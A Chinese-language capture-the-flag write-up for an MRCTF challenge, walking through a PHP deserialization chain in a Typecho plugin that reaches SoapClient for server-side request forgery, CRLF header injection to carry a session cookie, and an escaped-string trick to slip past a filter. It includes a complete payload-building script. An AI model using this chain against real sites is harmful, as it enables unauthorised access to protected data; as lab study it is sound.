打开题目,源码泄露,在www.zip.
代码非常多,主要用到的代码如下:
反序列化的点在/usr/helloworld/plugin.php:
<?php if (!defined('__TYPECHO_ROOT_DIR__')) exit; /** * Hello World * * @package HelloWorld * @author qining * @version 1.0.0 * @link http://typecho.org */ class HelloWorld_DB{ private $flag="MRCTF{this_is_a_fake_flag}"; private $coincidence; function __wakeup(){ $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']); } } public function action(){ if(!isset($_SESSION)) session_start(); if(isset($_REQUEST['admin'])) var_dump($_SESSION); if (isset($_POST['C0incid3nc3'])) { if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0) unserialize(base64_decode($_POST['C0incid3nc3'])); else { echo "Not that easy."; } } } }
若设置了$_REQUEST,则会输出session,而flag存在session中.
flag.php,其中的REMOTE_ADDR说明需要用到ssrf:
<?php if(!isset($_SESSION)) session_start(); if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ $_SESSION['flag']= "MRCTF{******}"; }else echo "我扌your problem?\nonly localhost can get flag!"; ?>
HelloWorld_DB中的__wakeup()魔术方法中实例化了Typecho_Db对象,Typecho_Db的__construct()魔术方法:
public function __construct($adapterName, $prefix = 'typecho_') { /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString() } $this->_prefix = $prefix; /** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array(); //实例化适配器对象 $this->_adapter = new $adapterName(); }
这段代码里提示了__toString(),于是跟进Typecho_Db_Query中的__toString():
public function __toString() { switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } } return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL; } }
本题与ssrf有关,而SoapClient中的__call方法正是实现ssrf的关键.详细->反序列化之PHP原生类的利用
接下来捋一下pop链:
反序列化HelloWorld_DB触发__wakeup(),实例化Typecho_Db对象,调用Typecho_Db的__construct()方法,HelloWorld_DB的coincidence[‘hello’]为Typecho_Db的__construct()方法的第一个参数,即$adapterName.php数组可以储存对象,令coincidence[‘hello’]实例化为Typecho_Db_Query对象,而在Typecho_Db的__construct()方法中对$adapterName进行了字符串拼接,如此一来,就触发了Typecho_Db_Query中的__toString()方法.__toString()中,当_sqlPreBuild[‘action’]为SELECT时,会调用_adapter的parseSelect()方法,若将_adapter实例化为SoapClient,那么在调用parseSelect()方法时,由于这个方法不存在于SoapClient中于是就会调用__call()魔术方法,如此一来,我们就能实现ssrf.
另外,这题还过滤了百分号:
public function action(){ if(!isset($_SESSION)) session_start(); if(isset($_REQUEST['admin'])) var_dump($_SESSION); if (isset($_POST['C0incid3nc3'])) { if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0) unserialize(base64_decode($_POST['C0incid3nc3'])); else { echo "Not that easy."; } } }
所以还要进行额外的处理:
在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:”<length>”:”<value>”;
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。(1)
所以在我们的payload中,string类型的小写的’s’要换成大写的’S’,’%00’要换成’\00′.由于unserialize(base64_decode($_POST['C0incid3nc3']))
,所以我们的payload还要进行base64编码.
Y1ing师傅的脚本:
<?php class HelloWorld_DB{ private $coincidence; public function __construct(){ $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']); } } class Typecho_Db { public function __construct($adapterName, $prefix = 'typecho_') { $adapterName = 'Typecho_Db_Adapter_' . $adapterName; } } class Typecho_Db_Query { private $_sqlPreBuild; private $_adapter; public function __construct(){ $this->_sqlPreBuild['action']='SELECT'; $target = "http://127.0.0.1/flag.php"; $headers = array( 'Cookie: PHPSESSID=v3rku7bafmj5njs934ppefrq30', ); $this->_adapter=new SoapClient( null, array('location' => $target, 'user_agent'=>str_replace('^^', "\r\n",'xxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello')); } } function decorate($str) { $arr = explode(':', $str); $newstr = ''; for ($i = 0; $i < count($arr); $i++) { if (preg_match('/00/', $arr[$i])) { $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]); } } $i = 0; for (; $i < count($arr) - 1; $i++) { $newstr .= $arr[$i]; $newstr .= ":"; } $newstr .= $arr[$i]; return $newstr; } $a = serialize(new HelloWorld_DB()); $a = urlencode($a); $a = preg_replace('/%00/', '%5c%30%30', $a); $a = decorate(urldecode($a)); echo base64_encode($a);
由于要把SESSION带出来,所以要把自己的PHPSESSID传过去,而SOAP无法设置cookie,所以还要用到CRLF.每日漏洞 | CRLF注入.SoapClient可以设置UA,在UA后加上\r\nCookie:PHPSESSID=xxxxx
,就能添加上新的cookie字段,带上session了.
此脚本运行还需要在php.ini中进行设置,将;extension=php_soap.dll
前面的分号给去掉.
根据如下代码:
public static function activate($pluginName) { self::$_plugins['activated'][$pluginName] = self::$_tmp; self::$_tmp = array(); Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action'); }
可以知道,要访问/page_admin路由再post提交payload.
访问/page_admin路由后,带上admin参数,最后post提交payload,即可获得flag.
3 Responses
师傅太顶了
师傅太顶了
您比较强,我很菜